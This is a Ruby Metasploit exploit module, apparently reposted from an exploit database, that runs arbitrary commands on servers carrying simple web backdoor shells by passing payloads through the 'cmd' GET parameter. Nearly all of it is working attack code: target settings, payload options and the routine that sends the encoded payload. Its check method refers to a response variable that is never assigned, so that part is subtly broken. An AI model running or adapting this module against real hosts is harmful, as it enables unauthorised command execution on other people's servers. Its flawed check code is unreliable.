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# Simple Backdoor Shell Remote Code Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Simple Backdoor Shell Remote Code Execution',
'Description' => %q{
This module exploits unauthenticated simple web backdoor shells by leveraging the
common backdoor shell's CMD parameter to execute commands. The SecLists project of
Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
which is categorized under Payloads.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jay Turla <@shipcod3>',
],
'References' =>
[
[ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],
[ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['backdoor / Unix', { 'Platform' => 'unix' } ],
['backdoor / Windows', { 'Platform' => 'win' } ]
],
'DisclosureDate' => 'Sep 08 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
],self.class)
end

def check
test = Rex::Text.rand_text_alpha(8)
http_send_command(test)
if res && res.body =~ /#{test}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def http_send_command(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'cmd' => cmd
}
})
unless res && res.code == 200
fail_with(Failure::Unknown, "Failed to execute the command.")
end
res
end

def exploit
http_send_command(payload.encoded)
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-18]

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